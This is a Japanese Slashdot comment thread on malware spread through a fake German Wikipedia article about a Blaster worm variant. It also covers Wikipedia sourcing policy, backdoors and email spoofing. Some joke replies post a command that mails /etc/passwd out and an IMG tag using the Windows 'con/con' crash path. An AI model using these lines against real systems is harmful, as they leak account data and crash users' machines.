Wikipedia を使ったウイルス配布が見つかる

KAMUI 曰く、

ITpro の記事によると、Wikipedia ドイツ語版に「ウイルスをインストールさせようとする記事」が投稿されていたそうだ。

参考: Sophos のニュースリリース

偽記事では「2003年に大騒動を巻き起こした Blaster ワームの新種が出現した」と fix へのリンク…と見せかけてウイルスへのリンクが張られており、更に Wikipediaから送られた様に見せかけたメールを不特定多数に送信、そこにも件の偽記事へのリンクが記載されていたとのこと。まぁ色々と考えるもんだ…。

参考にするなら

[paichi (3389)]

妖精現実 [faireal.net]の方がまとまってて、いいんじゃないでしょーか

後でこのコメントを読んだ人のために

[ruto (17678)]

後でこのコメントを読んだ人のために説明すると、親コメント [srad.jp]のリンク先に次のような話があった。

「検証可能性」

特に、日本語版ウィキペディアでは、かなめの一つ「検証可能性」が無視されていることが多く、
ウィキペディアのポリシーを知らない執筆者が「～であろう」「～と思われる」などと自分の解釈を述べてしまっている。
たとえ信頼できる資料に依拠していても、たとえどんなに鋭い洞察と正当な分析でも、
たとえ全編集者がそのとおりだと同意する内容でも、出典を示せないことは書いてはいけない。

出典がなくても客観的に事実なら「本来は良い」はずだが、
出典がないと、客観的に事実かどうかを客観的に判断できないから「本来は良い」はずのものなのかどうなのか、それが判断できない。

実際、これは分かりにくい概念だ。
書いてあることが正しくないからいけないのではなくて、
出典を示せないからいけないのだ、と言われても「内容は正しいのだから問題ないでしょう」と考えてしまう人も多いのではないか。
その点、「ソースは？」とすぐツッコミが入る２ちゃんねるの方が、ウィキペディア（少なくとも日本語版）より全般的なユーザー意識が高い。
もちろんソースの信頼性はまた別の問題だが。

出典を示さなければいけないということは、独自研究の禁止とほぼ同じことだ。
とんでもない内容の「独自研究」を記載してはいけないことは直観的に分かるだろうが、
ノーベル賞級の優れた研究でも、ウィキペディアを一次発表の場とすることは、禁止されている。
トンデモ発表禁止に比べて直観的に分かりにくいかもしれないが、それがウィキペディアの基本方針。
「大統領は～と述べ」などと出典と事実を示し、「これこれを批判した」などと直接の論理的帰結を導くまでは良いが、
「この裏には～という意図があると考えられる」などと執筆者の“解釈”にまで踏み込んではいけない。
そういうことを書きたいときは「ワシントンポストはこの発言の意図を～であると分析している[1]」のように、
情報の責任を [1] に“押し付ける”のがウィキペディアの作法だ。

発言の意図が明々白々でもなぜわざわざ出典が要るのかといえば、明々白々かどうかそれ自体が問題になるからである。
上記の事件も「マイクロソフトはウィキペディア財団にミラーを要請した[2]」のように出典表記 [2] に、
マイクロソフトのサイトへのリンクがあれば、事実かどうかすぐ検証できただろう。

Re:参考にするなら

[Anonymous Coward]

書き方が悪いんだろう。なんでもかんでもURL埋め込めば済むと思っているやつも多いしな。

Wikipediaにしろ

[Anonymous Coward]

2ちゃんねるにしろ、
インターネットにはこういうけしからんサイトが多すぎますね。
ことにスラッシュドットとかいう匿名掲示板はひどい。

Re:Wikipediaにしろ

[Anonymous Coward]

まったくです。
これからは実名使用のミクシィで
安全ネッツライフですな。

Re:Wikipediaにしろ

[Anonymous Coward]

>これからは実名使用のミクシィで安全ネッツライフですな。
もちろん、本人確認のためには、住基番号と電話番号を記載するのがよろしい。
住基番号に抵抗がある人は、免許証や保険証、住民票の写しでもよい。
顔写真は撮影から三ヶ月以内のものを使用。
金銭のやり取りを行う場合は、口座番号と暗証番号を。
相手をマイミクに登録したら、必ず挨拶を、心を込めて三行以上。

Re:Wikipediaにしろ

[Anonymous Coward]

これを何も知らない人が見て信じたらどうしよう。
そういう人が2ちゃんねらになってしまうのか
こういうのは冗談でも駅前で署名してくださいと言ってる奴らと変わらんとおもうのだけどねぇ。

Re:Wikipediaにしろ

[Anonymous Coward]

http://srad.jp/comments.pl?sid=293641&cid=1026718 [srad.jp]

放置っすか。

Re:Wikipediaにしろ

[Anonymous Coward]

個人の日記のリンクだからな。逆に、勝手にスラドが自分の日記を編集する方がおかしいだろう。まあ、Oliverの監督責任ということでFA?

Re:Wikipediaにしろ

[Anonymous Coward]

トップページから直リンしてあるメイン編集者の日記を
「個人の日記」と割り切るのには同意できませんな。
そう主張するのであればせめてトップページから
オリバー日記の項目をなくすべきでしょう。

Re:Wikipediaにしろ

[Anonymous Coward]

オリバーは個人を指すんじゃない。
オリバーとは存在なんだ。

学校でならわなかったのか？

# ごめん、嘘。
# 大統領にひっかけたの。

Re:Wikipediaにしろ

[Anonymous Coward]

その通り！
某社のパラソル部隊だって、予想外しか配りません。
まったく酷いインターネッツですね。

これ？

[Anonymous Coward]

http://de.wikipedia.org/wiki/W32.Blaster [wikipedia.org]

Willy on wheels

Re:これ？

[Anonymous Coward]

http://de.wikipedia.org/w/index.php?title=Spezial:Log&page=W32.Blaster [wikipedia.org] 既に特定版削除済み

オープンであればこそ

[Anonymous Coward]

オープンであればこそ、いたずらや悪意の侵入を許してしまうわけだ。オープンソースだってそう。いつ、バックドアなどが仕掛けられたコードがまぎれこむか、分かったものじゃない。

Re:オープンであればこそ

[Anonymous Coward]

OpenSSH…。

Re:オープンであればこそ

[Anonymous Coward]

＞いつ、バックドアなどが仕掛けられたコードがまぎれこむか、分かったものじゃない。

ってか、実際にもうあったんじゃなかったっけ？
バックドアじゃなかったかもしれないけど、改竄されてしばらく誰も気づかなかったって。

Re:オープンであればこそ

[vyama (6377)]

コンパイラにバックドアを入れる仕掛けを入れておいた [catb.org]って奴かな。これは確かに気がつかないよな。

--
vyama 「バグ取れワンワン」

Re:オープンであればこそ

[Anonymous Coward]

気付いたなら詳細を指摘してあげて下さいな。
GFDL違反とか転載とか、なかなか気付きにくいですから。

Re:オープンであればこそ

[Anonymous Coward]

元コメントでは「参加がオープン」という意味で使ってるんだろ。
でなければ意味が通らない。

参加はオープンでも

[Anonymous Coward]

いったん参加すればそこは陰湿な狎れ合いやありとあらゆる姑息な手段を動員した村八分、恥知らずな自演などが渦巻く世界

Re:参加はオープンでも

[Anonymous Coward]

みんなそれを求めて参加しているのだから問題ない。
/.や2chやmixiなども同様。

元気？

[Anonymous Coward]

やる気の間違いでは

Re:元気？

[Anonymous Coward]

井脇 [yaruki-genki-iwaki.com]。

--
くだらないのでAC

この虫食いも

[Anonymous Coward]

原因不明の「すぐに破れてしまう紙幣」、ドイツで発見される [excite.co.jp]

　一体、どこのどいつだ、こんなことやらかすのは！

Re:この虫食いも

[Anonymous Coward]

どいつだ　どいつだ　_{どいつだ　どいつだ}

似た事が /.でもできる

[Anonymous Coward]

でもやらないでね。

Re:似た事が /.でもできる

[Anonymous Coward]

よーしパパウィルス貼っちゃうぞ。
cat /etc/passwd | mail nobody

Re:似た事が /.でもできる

[Teruching (3577)]

それはウイルスじゃないという突っ込みは無しでしょうか?

--
天琉陳(Teruching)

Re:似た事が /.でもできる

[Anonymous Coward]

ノートン先生が警告を出すものは全部ウィルスです。違いを教えようなんて無駄な努力です。

Re:似た事が /.でもできる

[Anonymous Coward]

コンピューターの判断はいつでも正しいのです。
コンピューターを疑う事は反逆です。

Re:似た事が /.でもできる

[yusasa (1159)]

「コンピューター」と記述することで，あなたがマザーの配下にあることは明白ですっ。
テクノクラートであれば，「コンピュータ」と書くはずですっ。

--
"Patriotism is the last refuge of a scoundrel." - Samuel Johnson

Re:似た事が /.でもできる

[Anonymous Coward]

sh コマンド自動実行脆弱性のあるブラウザでご覧になれば，立派に情報漏洩を引き起こすウィルスとして機能するんでわないかと．
# ワームほど増殖しないようですが

Re:似た事が /.でもできる

[vyama (6377)]

sh コマンド自動実行脆弱性のあるブラウザで見ても、cat /etc/passwd | mail nobodyというコードに他のプログラムに寄生するような繁殖性があるんですか?トロイの木馬にしか見えないんですが。

--
vyama 「バグ取れワンワン」

Re:似た事が /.でもできる

[Anonymous Coward]

少なくないブラウザでキャッシュファイルに感染するようです。

Re:似た事が /.でもできる

[Anonymous Coward]

ごめん。タグが消えちゃった。
<IMG src="file:///c|/con/con/con">

Re:似た事が /.でもできる

[Anonymous Coward]

いや、誰でも書き込めるならどこでもできるでしょ。

Re:似た事が /.でもできる

[eukare (2230)]

「このサイトは安全だ」という(根拠のない)信頼が必要なので、ある程度の知名度も必要ですね。
#目に入ったリンクは全てクリックしないと気が済まない類の人は気にしないだろうけど。
問題なのはそのサイトじゃなくてリンク先なのですがね。

Re:似た事が /.でもできる

[KAMUI (3084)]

[e-mail]名義でウイルス添付したメールが送られて来た事が何回かあります。

Re:似た事が /.でもできる

[Anonymous Coward]

自分のサイト騙ったスパムを会社で受けたことがある。
かなり凹んだ。

Re:似た事が /.でもできる

[nackey (3237)]

それは多分、KAMUIさんの知り合い(メールアドレスがメーラに登録されている)がウィルスに感染し、そのウィルスがメールで拡散する際にFrom詐称のアドレスとして、Webブラウザのキャッシュに残っていたslashmasterのアドレスを使ったのでしょう。

Re:似た事が /.でもできる

[Anonymous Coward]

メールの名義は簡単に偽装できる [google.co.jp]ので
slashdot ドメインからのメールだからといって迂濶に信用してはいけません。

Re:似た事が /.でもできる

[yusasa (1159)]

という検索結果(の先と(参照元))を見てあらためて思い知らされるのは，「メールボディの "From:" が「偽装できる」」なんという話を，わざわざ書いてあげるということに「需要」があるということです。

# 「わざわざ書いて」くれているサイトが無駄だということでは，勿論，ありませんよ。
# どこかに書いてなければ，知ることもできない人もいるわけです。
# だから，記述できることは記述しておく，ということも，有用だと思います。

今更だとは思いますが，「インターネット」はもはや，研究屋や技術屋のための世界ではなく，真っ当とされていた「テクニカル」なんていうことすら無縁の「ぱんぴー」や「をたく」がメインのフィールドであって，過去となった「リテラシー」や「常識」「信頼関係」「先人の知恵」とかいうことばなんぞ，彼等には武器になり得ないのですね。

「おじさん」「年寄り」になったということを，また認識することでもありますが。

--
"Patriotism is the last refuge of a scoundrel." - Samuel Johnson

Re:似た事が /.でもできる

[sayon (24054)]

問題なのは技術的に可能かではなくて
KAMUI氏の、少なくともここでは表示されていないはずのメールアドレスに、slashmaster名義で届いたことでしょう。
例えばそのアドレスが/.erのものと知っているのは誰だ。

目に入ったリンクは全てクリック

[Anonymous Coward]

それ、3ポップくらいでえらい数になりそうなんですが。
# 5ポップもあれば、出発点から繋がってるリンクはすべて踏めそうな気がする

Re:目に入ったリンクは全てクリック

[Anonymous Coward]

それ、3ポップくらいでえらい数になりそうなんですが。

誤:ポップ
正:ホップ [google.co.jp]

Re:似た事が /.でもできる

[Anonymous Coward]

配布サイトがスラッシュドットしてアクセスできなくなるんじゃないの？

#２ちゃん的に言えば「うは。釣堀で大量ｗｗｗｗ」

コレを機に

[Anonymous Coward]

マルウェアコレクションものっけちまいましょう。
ウィルスやワームとはこういうモノだというバイナリとソース。

え？ GFDL 違反？
じゃぁ一発作ってソコにおいといてくれれば著作権問題も解決！